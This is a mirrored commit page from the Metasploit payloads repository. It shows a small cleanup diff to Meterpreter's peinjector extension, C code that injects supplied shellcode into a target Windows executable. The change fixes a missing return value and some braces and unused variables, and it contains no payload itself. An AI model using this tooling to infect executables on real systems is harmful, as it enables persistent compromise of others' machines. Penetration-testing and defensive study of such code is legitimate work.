github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00
Code Releases Activity

Fix pull request issues

Browse Source
This commit is contained in:
alpiste 2017-10-19 07:44:09 -07:00 committed by bwatters
parent cf807f5004
commit 94f560e30e
2 changed files with 7 additions and 8 deletions
c/meterpreter/source/extensions/peinjector
libpefile.cpeinjector_bridge.c

6
c/meterpreter/source/extensions/peinjector/libpefile.c

@ -612,8 +612,8 @@ uint16_t get_file_architecture(char * target_executable_path) {
PEFILE_READ_OPTIONS read_options; PEFILE_READ_OPTIONS read_options;
read_options.header_only = true; read_options.header_only = true;
if (pefile_read_file(target_executable_path, &read_options, &mype)) { if (pefile_read_file(target_executable_path, &read_options, &mype))
return mype.pe_header.Machine; return mype.pe_header.Machine;
} else
return 0;
} }

7
c/meterpreter/source/extensions/peinjector/peinjector_bridge.c

@ -9,9 +9,7 @@
#include "libpeinfect.h" #include "libpeinfect.h"
void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool is_x64) { void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool is_x64) {
unsigned char *test_code_x86;
size_t test_codesize_x86 = 0; size_t test_codesize_x86 = 0;
unsigned char *test_code_x64;
size_t test_codesize_x64 = 0; size_t test_codesize_x64 = 0;
PEINFECT_METHOD methods; PEINFECT_METHOD methods;
bool random_section_name = true; bool random_section_name = true;
@ -70,13 +68,13 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
__load_config(&infect, shellcode, size, is_x64); __load_config(&infect, shellcode, size, is_x64);
uint16_t arch = get_file_architecture(target_executable_path); uint16_t arch = get_file_architecture(target_executable_path);
dprintf("[PEINJECTOR] arch: %d", arch); dprintf("[PEINJECTOR] arch: %d", arch);
if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) { if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) {
if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) {
dprintf("Shellcode injected successfully\n"); dprintf("Shellcode injected successfully\n");
}
else { else {
dprintf("There was an error, shellcode not injected\n"); dprintf("There was an error, shellcode not injected\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
@ -86,6 +84,7 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
dprintf("The architecture of the file is incompatible with the selected payload\n"); dprintf("The architecture of the file is incompatible with the selected payload\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
} }
packet_transmit_response(dwResult, remote, response); packet_transmit_response(dwResult, remote, response);
} }
else else